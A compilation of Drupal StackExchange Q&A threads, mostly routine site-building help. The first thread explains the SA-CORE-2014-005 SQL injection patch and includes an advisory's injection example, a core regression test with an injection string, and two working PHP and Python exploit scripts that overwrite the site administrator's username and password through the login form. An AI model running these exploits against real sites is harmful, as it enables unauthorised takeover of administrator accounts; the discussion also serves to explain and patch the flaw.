# Question
Title: What kind of attacks does the patch for SA-CORE-2014-005 (Drupal 7.32) prevent?
Reading up on https://www.drupal.org/node/2357241 and the technical details at https://www.drupal.org/SA-CORE-2014-005, as well as the actual patch which is simply:

```
diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

```

I'm wondering what kind of request could be made that utilizes this exploit?

# Answer
> 18 votes
The company that found the bug has some examples on Advisory 01/2014: Drupal - pre Auth SQL Injection Vulnerability:

Extract:

> The function assumes that it is called with an array which has no keys. Example:
>
> ```
> db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
>
> ```
>
> Which results in this SQL Statement
>
> ```
> SELECT * from users where name IN (:name_0, :name_1)
>
> ```
>
> with the parameters `name_0 = user1` and `name_1 = user2`.
>
> The Problem occurs, if the array has keys, which are no integers. Example:
>
> ```
> db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
>
> ```
>
> this results in an exploitable SQL query:
>
> ```
> SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
>
> ```
>
> with parameters :`name_test = user2`.
>
> Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can be used to insert arbitrary data in the database, dump or modify existing data or drop the whole database.
>
> With the possibility to INSERT arbitrary data into the database an attacker can execute any PHP code through Drupal features with callbacks.

# Answer
> 20 votes
**Whats going on with 7.32** By checking the testing module. You can see the following test was added to 7.32;

```
+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

```

This should give some further insight into how to craft an attack.

**Proof of Concept** Since more than enough time has passed and there are plenty of PoC's out in the wild.

Poc #1 - PHP

```
<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

```

Poc #2 Python - http://pastebin.com/nDwLFV3v

```
#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

```

Here is a blog that does a good breakdown: http://www.volexity.com/blog/?p=83

# Answer
> 16 votes
The researchers who found the bug have a proof of concept. Others have developed proofs of concept as well. However, they are purposefully not posting them to try to reduce the likelihood that it will get widely exploited. We should respect that research and restraint and not post examples here.

After some time has passed and sites get upgraded then it will be very interesting, from an academic perspective, to review proof-of-concept attack code. Until then, it's an unnecessary risk and grab for attention.

The code in the SektioinEins advisory are not fully developed examples of how to exploit it. They detail the weakness, but don't precisely identify how to actually exploit the issue.

---

It's now been a few weeks since the issue was released and SektionEins has posted several proof-of-concepts on their blog. These are quite interesting compared to many of the other proofs-of-concept that have been developed since they leave very few traces of their activity (e.g. nothing in the menu\_router table).

# Answer
> 4 votes
I can confirm, that this vulnerability will work with every Drupal 7.31 and lower site, doesn't matter which modules are active. Every drupal form could be used to exploit this vulnerability.

Exploit is quite simple, so PoC is already out in the wild. I was able to attack own server and change user passwords as anonymous user in clean Drupal install, but the possibilities are endless.

This bug was known almost 1 year ago via https://www.drupal.org/node/2146839 but nobody from Drupal Core Security Team responded.

# Answer
> 4 votes
I wondered how this could be exploited and how much time and effort it would take? Therefore I decided to install older Drupal 7 version on my localhost and reverse engineer this bug. What I discovered was a shocking bug which gives anyone with basic knowledge about HTML/SQL a full access to your Drupal site.

I managed to execute SQL injection into Drupal 7 using anonymous user in a less than 30mins of trying!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOTE: This still won't allow you to login since Drupal uses SHA512 with salt so its not possible to actually login. Intentionally I didn't put the code in here, but obviously anyone with little bit of Drupal knowledge will know how to overcome this and construct the query which will give you full access!

This opens a question on how secure is Drupal and whos responsible for something like this? Apparently this bug was known for more than a year (https://www.drupal.org/node/2146839), but nobody didn't react on Drupal.org. Accidentally or intentionally? :)

# Answer
> 1 votes
It is a fix of a SQL injection vulnerability where malicious SQL statements are inserted into an entry field for execution and that could lead for example to release the database contents. This fix is important to apply as soon as possible especially because this vulnerability can be exploited by anonymous users.

If you cannot update immediately the security team has you can apply this patch which will provide the same protection until you can do the full upgrade . Also the security team has prepared some FAQ related to this issue. Putting your site in maintenance mode **will not help** and **please clear the cache after applying the update** or make sure you are using 7.32.

Also, you should check if your site has not been compromised. There are some sites already reporting problems. Here it is one blog post that suggest how you can check Updating to Drupal 7.32 is not enough, your site may already be hacked

I apply the fix on october 15 and my sites have already reported someone trying to exploit the vulnerability

```
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149

```

---
Tags: security
---


title: Generate URL from hook_menu() pattern

text:
# Question
Title: Generate URL from hook_menu() pattern
Does Drupal have any tool to generate URL from hook\_menu() link pattern? Something like this:

```
some_function('node/%/edit/something/%', array(1, 19))

```

that will generate this URL: `http://maindomain.com/node/1/edit/something/19`.

# Answer
I don't think Drupal has a function for that specific case - at least not one that I've come across.

Obviously lots of ways to accomplish it though. Without writing your own function, my thought was to make use of the `format_string()` and `url()` functions.

```
$args = array(
  '@arg_1' => 1,
  '@arg_4' => 19,
);
$path = format_string('node/@arg_1/edit/something/%arg_4', $args);
$url = url($path, array('absolute' => TRUE)); // I used absolute here because
                                              // your example has an absolute
                                              // path. It shouldn't be
                                              // necessary though.
print $url // Prints `http[s]:[domain.com]/[base_path]/node/1/edit/something/19`

```

Of course, you could take that a step further and use the `l()` function to create an actual link, but I'm not sure what your exact use case is.
> 1 votes

---
Tags: routes
---


# Question
Title: Why the main theme isn't applied in the preview?
When I’m in administration mode, using the 'seven' theme, and I click on **Preview**, instead of using the main theme, the preview uses seven's stylesheets, which is silly-willy because it’s not what I would expect from a preview.

# Answer
> 5 votes
There are lots of reasons why the main theme isn't applied. I think this comment by merlinofchaos sums up some of the larger hurdles well:

> Right now, in Drupal, we store temporary data in a cache by caching the generated form. In order to preview, we have to process that form and reassemble data. This is fine when you click preview, but in a system like this, you're actually visiting a different URL from the form.
>
> Logically, we could put the form build id in the URL and load the form and process it, but there are several weaknesses with that:
>
> 1. It is wasteful (processing a form that was not submitted)
> 2. Form build IDs are sha generated strings. There is no way to reproduce it if you don't have it. This means you can't do content locking.
> 3. It continues the trend on Drupal of the form owning the data when the form typically should only be a representation of the data.

Read More »

Lot's of contrib modules have attempted to address these issues:

That said, "Allow to preview content in an actual live environment" recently made it into Drupal 8 Core

But don't get too excited. "Allow content creators to preview exactly how content will appear on the site after it's saved" is still very much a work in progress. And recent comments indicate it will be a Drupal 9, not 8 issue.

---
Tags: theming, entities
---


title: function in inc file not being found

text:
# Question
Title: function in inc file not being found
I put this function in my inc file

```
function getLanguage(){
  $url=url() ;
  $language="";
  $pos=strpos($url,"/es");
  if ($pos===false){
    $language="en";
  }else{
    $language="es";
  }
  return $language;
}

```

And then I try to call that function from the module, but the module says `Fatal error: Call to undefined function getLanguage()`

What am I doing wrong? thanks

# Answer
> 0 votes
thank you pobtastic, this is the answer:

within the .module file you put your hooks and shared functions. Usually in the callbacks, you get to declare 'file' to point to an include for your functions to reside in a nice separate place. See api.drupal.org/api/drupal/modules%21system%21system.api.php/… and api.drupal.org/api/drupal/modules%21system%21system.api.php/… – Pobtastic 1 hour ago

---
Tags: 7
---


title: Combine integer fields filter

text:
# Question
Title: Combine integer fields filter
My need is to combine fields which their data type is **integer**.

I did not find a module for that. Or is there? The "Global: Combined fields" filter supports strings only.

Which approach would you recommend to achieve this? Thanks!

\[Edit\]

After seeing a comment from @scronide I am adding here some info (this is more generic so I do not comment his comment).

One might indeed choose the direction of saving a value in another field. It may be indeed as a computed field, but also as another integer field which - in its turn - holds the wanted value using code or rules.

However, I wanted to consider the on-the-fly retrieving the items.

Still, may be the separate field direction is better to go with. I will give here my exact situation, also as @Roy Segall suggested.

GIVEN \- Using Search API indexes for the view's exposed filter; \- Multiple integer field in a few content types. In the "Person" content type I have: "Year born", "Was active from", "Was a king from", etc. In another content type "Work" I have "Year written", "Year published", etc.

NEED \- The exposed filter is in a view where both content types are located and should return results of any item of any content type which holds a value bigger than or equal to the search value in any of the integer fields.

NOTE As I am not an expert regarding performance, I am not sure which direction is the way to go; that is, saving a separated field (shared one across types) and index it for a simple filtering, or rather indeed filter on the fly among multiple fields.

Thanks for using your calories in your brain to help me think... Amir

# Answer
> 0 votes
Add a Computed Field to the content type to calculate the sum of the other fields–stored as an integer–and then you can use it as a Views filter. You will need to re-save your nodes to generate the computed field values.

---
Tags: views
---


# Question
Title: using panels to create custom page for all blogs
I used panels to create static or landing pages, but now I'm wondering if it would be possible and how to create a custom page template for all blogs using panels, so a user would simply have to write a blog and not have to fuss without creating a specific panel variant for every blog page that is created.

thanks,

Chad

# Answer
If you enable the pre-provided `page` named `node_view`, it does exactly what you ask for. It loads any (and every) node then.

You can add what's called `selection rules` to limit to to certain content types, or based on other arbitrary conditions.
> 0 votes

---
Tags: panels
---


title: Why will Panels not upgrade?

text:
# Question
Title: Why will Panels not upgrade?
I get this error when I `drush up panels`:

```
Code updates will be made to the following projects: Panels [panels-7.x-3.4]

Note: A backup of your project will be stored to backups directory if it is not managed by a supported version control s
ystem.
Note: If you have made any modifications to any file that belongs to one of these projects, you will have to migrate tho
se modifications after updating.
Do you really want to continue with the update process? (y/n): y
Project panels was updated successfully. Installed version is now 7.x-3.4.
Backups were saved into the directory /home/bzisad0/drush-backups/newco/20141017210224/modules/panels.       [ok]
WD php: PDOException: SQLSTATE[42S02]: Base table or view not found: 1146 Table 'newco.cache_panels' doesn't [error]
exist: TRUNCATE {cache_panels} ; Array
(
)
 in cache_clear_all() (line 165 of
/var/www/vhosts/www.newco.com/releases/20131007153705/includes/cache.inc).
PDOException: SQLSTATE[42S02]: Base table or view not found: 1146 Table 'newco.cache_panels' doesn't exis
t: TRUNCATE {cache_panels} ; Array
(
)
 in cache_clear_all() (line 165 of /var/www/vhosts/www.newco.com/releases/20131007153705/includes/cache.inc).
Drush command terminated abnormally due to an unrecoverable error.                                           [error]
Backups were restored successfully.                                                                          [ok]

```

# Answer
For some reason that table was never created in the database (this site started on an early version of 7, so perhap the Panels module didn't use a cache table back then???). You can fix this by creating one that's identical to all the other cache\_\* tables:

```
CREATE TABLE `newco`.`cache_panels` (
  `cid` varchar(255) NOT NULL default '' COMMENT 'Primary Key: Unique cache ID.',
  `data` longblob COMMENT 'A collection of data to cache.',
  `expire` int(11) NOT NULL default '0' COMMENT 'A Unix timestamp indicating when the cache entry should expire, or 0 for never.',
  `created` int(11) NOT NULL default '0' COMMENT 'A Unix timestamp indicating when the cache entry was created.',
  `serialized` smallint(6) NOT NULL default '0' COMMENT 'A flag to indicate whether content is serialized (1) or not (0).',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT 'Panels cache, manually created because Panels module would not upgrade without it'

```

Then you should be able to successfully upgrade the panels module:

```
$ drush up panels

```
> 0 votes

---
Tags: panels
---


title: i18n - Translate only specific fields

text:
# Question
Title: i18n - Translate only specific fields
Sorry if my question seams trivial, but I wonder if it is actually possible.

In Drupal 7, with the i18n module I can easily translate a content entry, but from this, I feel like it creates a fork of my language source content. So my update on the source language are no longer reflected on the translated content.

Example: I have a content defined as an image plus a text field. I want only the text field to be translated, not the image. Can I do that?

I have the situation with a website with many languages, I would prefer if I don't need to update all the images for each language whenever I want to update the image.

# Answer
The best way to do so is by configuring the multilingual parameter of your node type as "Enabled, with field translation".

The steps :

* enable the module i18n\_fields
* edit your node type
* go to publishing options tab
* set Multilingual support =\> "Enabled, with field translation"

This way, there will be only one node for all the translation of your node (e.g.: node/534) and only the translatable fields will change between language.

You need to then define which fields you want to translate :

* in the content type, go to manage fields tab
* choose the field and edit
* check the box "Field translation" at the bottom
> 1 votes

# Answer
I haven't tried it myself but perhaps the Entity Translation module is what you want to be looking at?
> 0 votes

---
Tags: i18n-l10n
---


# Question
Title: Get views to format an image field for HiDPI / high pixel density / Retina displays
I have a view showing several nodes that have photos stored in an image field. It works great, but doesn't look so sharp on HiDPI displays (or when the page is zoomed-in on a traditional display) because the image file that views produces is exactly the size used in HTML. Views is giving me something like this:

```
<img src="my-image-300x200.jpg" width="300" height="200">

```

But I think what I'd like views to do is produce something like:

```
<img src="my-image-600x400.jpg" width="300" height="200">

```

This way I'm loading images bigger than necessary (downside = slower page load), but it would seem worth it to me because I could get the images to look nice and crisp when the client has a device pixel ratio \> 1.

My images in these nodes are not always the same aspect ratio.

Any thoughts on how to get views to produce the image and markup above, or perhaps how to approach this problem a different way?

# Answer
> 2 votes
`srcset` has (or will have) decent support in browsers. What I do, is make \_2x image styles for everything, and then do a custom `theme_image_style()`:

```
/**
 * Implements theme_image_style().
 */
function MYTHEME_image_style($variables) {
  // Determine the dimensions of the styled image.
  $dimensions = array(
    'width' => $variables['width'],
    'height' => $variables['height'],
  );

  image_style_transform_dimensions($variables['style_name'], $dimensions);

  $variables['width'] = $dimensions['width'];
  $variables['height'] = $dimensions['height'];

  // Determine the URL for the styled image.
  $path = $variables['path'];

  $variables['path'] = image_style_url($variables['style_name'], $path);

  // See if we have alternates for the srcset
  $image_styles = &drupal_static(__FUNCTION__);
  if (empty($image_styles)) {
    $image_styles = array_keys(image_styles());
  }

  $variables['srcset'] = array('1x' => $variables['path']);

  if (in_array($variables['style_name'] . '_2x', $image_styles)) {
    $variables['srcset']['2x'] = image_style_url($variables['style_name'] . '_2x', $path);
  }

  return theme('image', $variables);
}

```

and then

```
/**
 * Implements theme_image().
 */
function MYTHEME_image($variables) {
  $attributes = $variables['attributes'];
  $attributes['src'] = file_create_url($variables['path']);

  // Add in normal attributes.
  foreach (array('alt', 'title', 'width', 'height') as $key) {
    if (isset($variables[$key])) {
      $attributes[$key] = $variables[$key];
    }
  }

  // Add in our srcset if we have two or more.
  if (count($variables['srcset']) >= 2) {
    $srcset = array();

    foreach ($variables['srcset'] as $size => $path) {
      $srcset[] = file_create_url($path) . ' ' . $size;
    }

    $attributes['srcset'] = join(', ', $srcset);
  }

  return '<img' . drupal_attributes($attributes) . ' />';
}

```

You can also feature detect with Modernizr for `srcset` and retina support, and then swap out the image src with JS shenanigans if you want.

You can also see if the Picture module does what you want, but there is debate in the community about when `<picture>` should be used and not used.

# Answer
> 0 votes
I think this module does exactly what what you asked for

---
Tags: views, media
---


# Question
Title: I installed the Civicrm module on drupal but it s not showing in the navigation bar
I just installed the CiviCRM module on a Drupal website, but I can only find the setting pages for the module.

I have already assigned the necessary permissions to the site administrator.

How I can access the CiviCRM module pages?

# Answer
Installing the CiviCRM module on Drupal requires a few more steps than just enabling the module itself. Check out how to do this in the Drupal Installation Guide for CiviCRM for the version you're using.
> 5 votes

# Answer
If you've followed the full install profile guide that vgardner linked to and you're still not seeing the menu, you can try flushing your drupal cache. You can manually edit the admin menu. You might also want to try replacing the default toolbar module with administration menu module (https://drupal.org/project/admin\_menu). Mine picked the civicrm admin entry right away (or after a cache flush)
> 1 votes

# Answer
If you go to www.yourwebsite.org/civicrm and you got an error, your CiviCRM is not installed correctly and you need to follow the guide mentionned by vgardner.

Otherwise, it's just that CiviCRM will not appear in Drupal top bar using default toolbar menu, you need to disable toolbar and use admin\_menu module instead.
> 1 votes

---
Tags: civicrm
---


# Question
Title: How to prevent bots to enter specific pages on my site by a capture
On my Drupal 7 site I have some pages that should not be entered by bots like the google bot or any other bot. All this pages are under a specific path like:

```
www.example.com/xyz/*

```

I have configured my robots.txt to prevent all bots to enter xyz/\* but I would like to add a higher obstacle. I thought, for example, about a capture.

I there a way in Drupal 7 to restrict access to all pages that have an specific path by a capture or does anybody have a better idea how to achieve my goal?

# Answer
> 1 votes
It sounds like you want to guard against robots that ignore robots.txt. Or possibly against spambots that are trying to exploit your comments section. I think the easiest way is to not allow anonymous users access to the page. Then, if you protect the login page with captcha, you should be able to keep any bots where you want them.

You will need the Content Access module and the Captcha module.

---
Tags: captcha
---


title: Display a product with two columns

text:
# Question
Title: Display a product with two columns
I want a two-column page layout to display my products which I create with 'drupal commerce'. The layout is basically the picture and similar articles on the left. Description on the right.

Now, I can manage the display of the product in two column with 'display suite' and then create a node view that is just a dummy page which really all it does is having one big field with the reference of the product.

I almost have what I want now because I have the picture on the left and the description on the right. How do I put the similar products block (I suppose it could be a block, right?) under the picture on the left?

It seems very dirty to add it as a field into the product. But I can’t add it to the column from the view node since I have no granular access on the single columns or fields.

What do?

# Answer
> 1 votes
If you need to put a view into the display, then you can do it completely from Display Suite's user interface. Display Suite has four custom fields that you can make use of. One of them is the Dynamic Field.

Make sure 'Views content panes' is installed (CTools package).

Create a view (deselect page and block on wizard) which takes the product display id (nid) as contextual filter. Under pane settings there is an 'Argument input' setting. Open it and select 'From context' from the dropdown, then in the required context select the Content Id. This tells views that you will be sending it a node id from the context (ie the page you are viewing).

Go to the display page of the product display where you have the display suite columsn set up. Create a dynamic field and select node as the entity during the wizard process. When done it will display in the list of fields available. You can now drag it to wher you want it, but it will still be unconfigured. To configure it you need to click on the geard icon nest to it, then click on 'select content'. This will open up a dialog where you select 'View panes' and your view that you just created.

Thats it. The view pane will now be embedded as a field in your content type.

Now all you need to do is to adapt the view, seeing that you want related products to show up.

Look here for a video demo - Using Display Suite Dynamic Fields - YouTube

# Answer
> 1 votes
You can use EVA module. With that it is possible to have a views block as a field in DS.

---
Tags: commerce, entities, display-suite
---


# Question
Title: Trying to add an html head tag in Drupal 8, beta 2
With Drupal 8.0 beta2, `drupal_add_html_head()` has been deprecated in favor of `#attached`. So the old way was:

```
function MYTHEME_page_build(&$page) {
    $viewport = array(
          '#type' => 'html_tag',
          '#tag' => 'meta',
          '#attributes' => array(
            'name' => 'viewport',
            'content' => 'width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=0.55, user-scalable=yes',
          ),
        );
        drupal_add_html_head($viewport, 'viewport');
}

```

Based on the change notice you now use `#attached`. So the code above is essentially the same with the last part changing to:

```
$build['#attached']['html_head'][] = [$viewport, 'viewport'];

```

This does not work though and no error messages in watchdog. I've also tried putting this in a page alter as well as swapping `$build` with `$variables` and `$output` but it still does not work. In addtion, I tried the entire thing as an array:

```
  $build['#attached']['html_head'][] = array(
    '#type' => 'html_tag',
    '#tag' => 'meta',
    '#attributes' => array(
      'name' => 'viewport',
      'content' => 'width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no',
    ),
  );

```

... but that did not work either. I am not sure what I am doing wrong, seems like it should be working.

**Update**

*Here is working code* which uses `hook_page_attachments_alter` which is not in D8 Beta 2 as it was just committed to dev.

```
function MYTHEME_page_attachments_alter(array &$page) {
    $viewport = array(
      '#type' => 'html_tag',
      '#tag' => 'meta',
      '#attributes' => array(
        'name' => 'viewport',
        'content' => 'width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no',
      ),
    );
    $page['#attached']['html_head'][] = [$viewport, 'viewport'];
  }

```

The only issue now is that core's viewport tag does not get overwritten so I am stuck with my custom tag and core's. Not sure how to handle that one or should my tag be overwriting core's?

# Answer
You don't have $build in preprocess, so can't work like that. $build needs to be a render array that is rendered somewhere. I also don't see how this could have worked before, as this is already converted in template\_preprocess\_html() before your function runs.

Add hook\_page\_attachments(\_alter)() and deprecate hook\_page\_build/alter() was just committed, and as a theme, you can implement hook\_page\_attachments\_alter(), look for examples in the committed patch, like common\_test\_page\_attachments\_alter().

So, something like `$page['#attached']['html_head'][] = [$viewport, 'viewport'];` should work in there.
> 7 votes

---
Tags: theming, 8, meta-tags
---


# Question
Title: D8: How to perform ajax call in javascript
I'm trying to perform an ajax call from a javascfript file by executing this:

```
            $.ajax({
                url: '/lunapark/ajax/space-invaders/' + score,
                success: function (jsonData) {
                    window.location.replace(jsonData.redirect);
                }
            });

```

But I keep getting:

> GET /lunapark/ajax/space-invaders/90 404 (Not Found)

If I go to the url in my google chrome, it loads and gives me a JSON object, so the page does exist:

```
{"redirect":"\/lunapark\/overview","game":"space-invaders","score":"90"}

```

Now I'm trying this:

```
new Drupal.ajax();

```

But I can't seem to figure it out...

# Answer
> 2 votes
Instead of specifying an incorrect datatype in the client call, you fix your route and specify that you return json. Use the \_format route key as explained in the route documentation

# Answer
> 1 votes
I found the solution. You have to use \_controller instead of \_content:

```
 _controller: '\Drupal\module\Controller\MyController::MyFunction'

```

And add

```
  requirements:
      _format: json

```

In your routing.yml

---
Tags: ajax, javascript, 8
---


# Question
Title: Easier way to get a field's value when given a node object from node_load
I'm trying to get a CCK text field's value using node\_load() - the code goes like `$nodeObject->field_name['und']['0']['value'];`

Is there a simpler built-in function like get\_cck\_field\_value(node $nodeObject) that I can use, or do I write it myself?

# Answer
> 9 votes
You can use `field_get_items()` like this:

```
field_get_items('node', $node, $field_name);

```

Also see What's best practice when working with the `language['und']`?.

# Answer
> 1 votes
You can also use methods provided by Entity API module:

```
$node = node_load($nid);
$wrapper = entity_metadata_wrapper('node', $node);
$field_value = $wrapper->field_name->value();

```

---
Tags: 7, nodes
---


title: Why Twig and not Blade in Drupal 8?

text:
# Question
Title: Why Twig and not Blade in Drupal 8?
I was lately asked the question why Drupal 8 uses Twig as templating engine and not Blade, which is used in Laravel.

I couldn't answer the question.

But is there a specific reason why Drupal 8 uses Twig and not Blade? Maybe because it's a Symfony component and they already use lots of Symfony components?

# Answer
As far as I can tell, there's *very* little information about blade on the internet. It doesn't even appear to be available as a standalone library. That seems like it would be reason enough.

Twig development originally started in 2008. It had it's first release in 2009.

The simple fact that I can't even find the same information about Blade suggests it is significantly less mature. (Which doesn't mean it's worse in any way)

The oldest commit I *can* find, is from September 2011.

The official attempt to merge in Twig was started in July 2012.

At that point in time, Blade was, as far as I can tell, not even a year old, and consisted of a whooping total of 453 lines of code, where as Twig had it's first *release*, a little less than 3 years earlier.

And keep in mind that the unofficial discussions to integrate Twig will have started far earlier.
> 8 votes

---
Tags: 8, theming
---


# Question
Title: How to send variable to the javascript in Drupal?
What is the easiest way to send a value from PHP to Javascript in Drupal form?

# Answer
> 3 votes
The standard way to do this in Drupal is with `drupal_add_js()`, using the "setting" type, e.g.:

```
drupal_add_js(array('variableName' => 'value'), 'setting');

```

That will make the variable available on the JS side at `Drupal.settings.variableName`.

---
Tags: forms
---


# Question
Title: Views: Display block based on taxonomy term
I have a vocabulary (Alive or Deceased) that has 2 terms (alive and deceased). If the node is under "alive" category there should be displayed block A, otherwise no block should be displayed.

How can I do that using views?

Thanks.

# Answer
> 3 votes
When you edit your view, there is a section called "Filter Criteria" in the left column (Drupal 7 / Views 3). Click on "Add" in the Filter section, then limit the criteria to Taxonomy only by choosing "Taxonomy Term" in the Filter drop-down. You should see the correct category, then just pick the term you want to check for ("alive").

---
Tags: views
---


# Question
Title: how to show ubercart fields in manage fields section of content type
I'm needing to access the price, sku, etc fields in the manage fields section in structure/contenttypes. None of these fields show up in the manage fields section? I can manage their display under manage display tab, but I need to be able to manage the field itself in order for conditional fields to affect them.

How can I show these fields in the manage fields section?

Thanks in advance.

Billy

# Answer
> 0 votes
It sounds like you might need to create a relationship between the content node and the product node. In the content node, you will only see a reference field pointing to the product node, which usually holds all the constructs you are looking for.

---
Tags: ubercart, entities
---


# Question
Title: How to programmatically duplicate a node?
I'm looking to create a copy of a webform I've made, with a new email address as the recipient.

After I load the node with node\_load, can I just save it with node\_save? Will that create a new node with new timestamps and ids?

How can I get the nid of the new node that has been created?

# Answer
> 17 votes
Just unset the node ID with `unset($node->nid)`, and node\_save() will create a new node.

The code executed from `node_save()` is the following one:

```
// Insert a new node.
$node->is_new = empty($node->nid);
// ...
if ($node->is_new) {
  _node_save_revision($node, $user->uid);
  drupal_write_record('node', $node);
  db_query('UPDATE {node_revisions} SET nid = %d WHERE vid = %d', $node->nid, $node->vid);
  $op = 'insert';
}

```

The last argument of drupal\_write\_record() is not passed; this means the function will not update an existing database row.

Once the node object has been saved with `node_save()`, `$node->nid` contains the node ID for the newly created database row.

# Answer
> 6 votes
I had to post this as an answer because the system makes you have 50 reputation points before you can comment.

Anyway, in response to @koivo and his answer. I just wanted to add that for me, also unsetting the `$node->vid` did the trick. So my code for unsetting and saving is

```
// Load a node
$node = node_load(1);

// unset version and node id's
unset($node->nid);
unset($node->vid);
unset($node->path);

// Save the copy
node_save($node);

```

# Answer
> 2 votes
In D7 you have to unset the node id `unset($node->nid)` and the revision id `unset($node->vid)` both. I build a form to clone nodes of one certain type (product) having one certain term reference (with replacing that term id). Here's the final submit:

```
function MYMODULE_form_submit($form, &$form_state) {
    $old_tid = $form_state['values']['old_tid'];
    $new_tid = $form_state['values']['new_tid'];

    $query = new EntityFieldQuery();
    $result = $query
    ->entityCondition('entity_type', 'node')
    ->entityCondition('bundle', 'product')
    ->fieldCondition('field_some_term_reference', 'tid', $old_tid)
    ->execute();

    foreach ($result['node'] as $product) {
        $node = node_load($product->nid);
        $node->field_some_term_reference[LANGUAGE_NONE][0]['tid'] = $new_tid;
        unset($node->nid);
        unset($node->vid);
        node_save($node);
    }
}

```

You might consider to resave the timestamps und `$node->uid` as well.

# Answer
> 2 votes
Try the replicate module.
I needed to easily clone and alter things on a site I did recently and found this module worked well.
Check out the replicate.api.php file to see how easy it is to use.

---
Tags: 6, nodes, webforms
---


# Question
Title: Create an "About the Author" box for multilingual sites
I'm having a hard time figuring out how to display a simple box containing some info about the author of a node. I have tried drupal's built-in user profile manager and profile2 module but none of these work on multilingual sites as they should...

Profile2 come with a "Profile2 translation" but it seems that it can be used only for fields labels and not for fields content.

Anyone knows a workaround on how to do it?

P.S.: I use the i18n module.

Thank you!

# Answer
> 1 votes
As profile2 doesn't seems to work well with i18n, what i would do is to :

* create a node type "Author" with some field translatable - the name and picture doesn't need to be translated for example
* create a field "Node reference" linking to the Author node using entityreference module
* optionally, you could create a field to link the Author node to a Drupal User if you need for example to add a contact form or to display the "About the author" in the user page.

To display the block "About the author" in article pages, there is at least 2 solutions :

1. In your content type "Article", manage display tab, choose "Rendered entity" for the field Author (easier and better performance but less flexible)
2. Create a view with a block display containing a contextual filters on the entity reference with a validation on node type = 'Article'. This block could be displayed only on page "node/\*" to avoid too much unnecessary views call.

# Answer
> 1 votes
Profile2 is based on Entity and you have 2 ways of translating entities in Drupal.

1. by creating an instance of the entity for each language : see https://www.drupal.org/node/1280934
2. by defining some fields that are translatable : see https://www.drupal.org/node/1280632

---
Tags: i18n-l10n, users
---


# Question
Title: Filter nodes matching user account field [list (text)] using different field names but same key
There is a field of type *list (text)* \[`field_list_user`\] on user accounts and a field of type *list (text)* \[`field_list_node`\] on nodes. Both fields have exactly the same keys but different labels \[and field names\]. Any content of the site can be authored by users.

Is it possible to create a block with nodes for a currently logged-in user filtered like: value (key) of `field_list_user` = `field_list_node`?

# Answer
> 0 votes
I don't think there is module to do a filter that compare 2 arbitrary value but you can add a php filter using Views PHP module

